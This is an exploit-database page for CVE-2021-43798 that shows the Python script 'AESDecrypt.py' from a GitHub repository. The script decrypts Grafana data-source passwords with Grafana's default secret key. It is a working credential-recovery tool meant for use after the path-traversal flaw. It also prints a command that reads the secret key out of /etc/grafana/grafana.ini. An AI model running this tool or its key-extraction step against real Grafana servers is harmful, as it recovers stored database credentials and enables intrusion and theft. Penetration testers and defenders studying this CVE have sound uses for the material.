Exploit database

GH-c8a0d5cc92fc8048cbd7e54dde997a3a

strikoder-premium/grafana-password-decryptor

GitHubNot listedPoC
Download repository ZIP

Sources for CVE-2021-43798

55 sources

Preferred order: Exploit-DB, Metasploit, then GitHub repositories by stars. Open preferred source

Repository files3
strikoder-premium/grafana-password-decryptorRevision cf920e3c022c

Files from this repository share one source choice. Supporting files may cover other vulnerabilities.

AESDecrypt.py

Suggested starting filePython · 4,590 bytes
#!/usr/bin/env python3
"""
Grafana AES Decryption Tool
Coded by: strikoder
"""

import base64
import sys
import argparse
from cryptography.hazmat.primitives.ciphers import Cipher, algorithms, modes
from cryptography.hazmat.backends import default_backend
from cryptography.hazmat.primitives import hashes
from cryptography.hazmat.primitives.kdf.pbkdf2 import PBKDF2HMAC

SALT_LEN = 8
DEFAULT_KEY = "SW2YcwTIb9zpOOhoPsMm"

def get_key_from_password(password, salt):
    kdf = PBKDF2HMAC(
        algorithm=hashes.SHA256(),
        length=32,
        salt=salt if isinstance(salt, bytes) else salt.encode(),
        iterations=10000,
        backend=default_backend()
    )
    key = kdf.derive(password if isinstance(password, bytes) else password.encode())
    return key

def decrypt_aes(ciphertext, secret):
    if len(ciphertext) < SALT_LEN:
        raise Exception("Invalid ciphertext length")
    
    salt = ciphertext[:SALT_LEN]
    key = get_key_from_password(secret, salt)
    
    # Check if using GCM or CFB mode
    if len(ciphertext) > SALT_LEN + 16:
        iv = ciphertext[SALT_LEN:SALT_LEN + 16]
        data = ciphertext[SALT_LEN + 16:]
        
        cipher = Cipher(
            algorithms.AES(key),
            modes.CFB(iv),
            backend=default_backend()
        )
        decryptor = cipher.decryptor()
        plaintext = decryptor.update(data) + decryptor.finalize()
        return plaintext
    else:
        raise Exception("Unsupported encryption mode")

def process_hash(b64_hash, secret):
    try:
        encrypted = base64.b64decode(b64_hash)
        decrypted = decrypt_aes(encrypted, secret)
        return decrypted.decode('utf-8')
    except Exception as e:
        return None

def read_file(filepath):
    hashes = []
    try:
        with open(filepath, 'r') as f:
            for line in f:
                line = line.strip()
                if line and not line.startswith('#'):
                    hashes.append(line)
        return hashes
    except Exception as e:
        print(f"Error reading file: {e}")
        sys.exit(1)

def main():
    banner = """
╔═══════════════════════════════════════════════════════╗
║     Grafana Data Source Password Decryptor            ║
║              Coded by: strikoder                      ║
╚═══════════════════════════════════════════════════════╝
"""
    print(banner)
    
    parser = argparse.ArgumentParser(
        description='Decrypt Grafana data source passwords',
        formatter_class=argparse.RawDescriptionHelpFormatter
    )
    
    group = parser.add_mutually_exclusive_group(required=True)
    group.add_argument('-hash', metavar='HASH', help='Single base64 encrypted hash')
    group.add_argument('-f', '--file', metavar='FILE', help='File containing hashes (one per line)')
    
    parser.add_argument('-k', '--key', metavar='KEY', help='Secret key (default: SW2YcwTIb9zpOOhoPsMm)')
    
    args = parser.parse_args()
    
    # Get the secret key
    if args.key:
        secret = args.key
        print(f"[*] Using provided secret key: {secret}\n")
    else:
        print(f"[*] Using default secret key: {DEFAULT_KEY}")
        print(f"[i] To extract key from Grafana: grep 'secret_key' /etc/grafana/grafana.ini")
        print(f"[i] Use -k flag to specify custom key\n")
        secret = DEFAULT_KEY
    
    # Process hashes
    hashes_to_decrypt = []
    if args.hash:
        hashes_to_decrypt = [args.hash]
    elif args.file:
        hashes_to_decrypt = read_file(args.file)
        print(f"[+] Loaded {len(hashes_to_decrypt)} hash(es) from {args.file}\n")
    
    # Decrypt
    print("=" * 60)
    success = 0
    failed = 0
    
    for i, hash_val in enumerate(hashes_to_decrypt, 1):
        result = process_hash(hash_val, secret)
        
        if result:
            if len(hashes_to_decrypt) > 1:
                print(f"\n[{i}] Encrypted: {hash_val[:50]}{'...' if len(hash_val) > 50 else ''}")
            else:
                print(f"\nEncrypted: {hash_val}")
            print(f"Decrypted: {result}")
            success += 1
        else:
            print(f"\n[{i}] Failed to decrypt: {hash_val[:50]}...")
            failed += 1
    
    print("\n" + "=" * 60)
    if len(hashes_to_decrypt) > 1:
        print(f"Results: {success} decrypted, {failed} failed")
    print()

if __name__ == "__main__":
    main()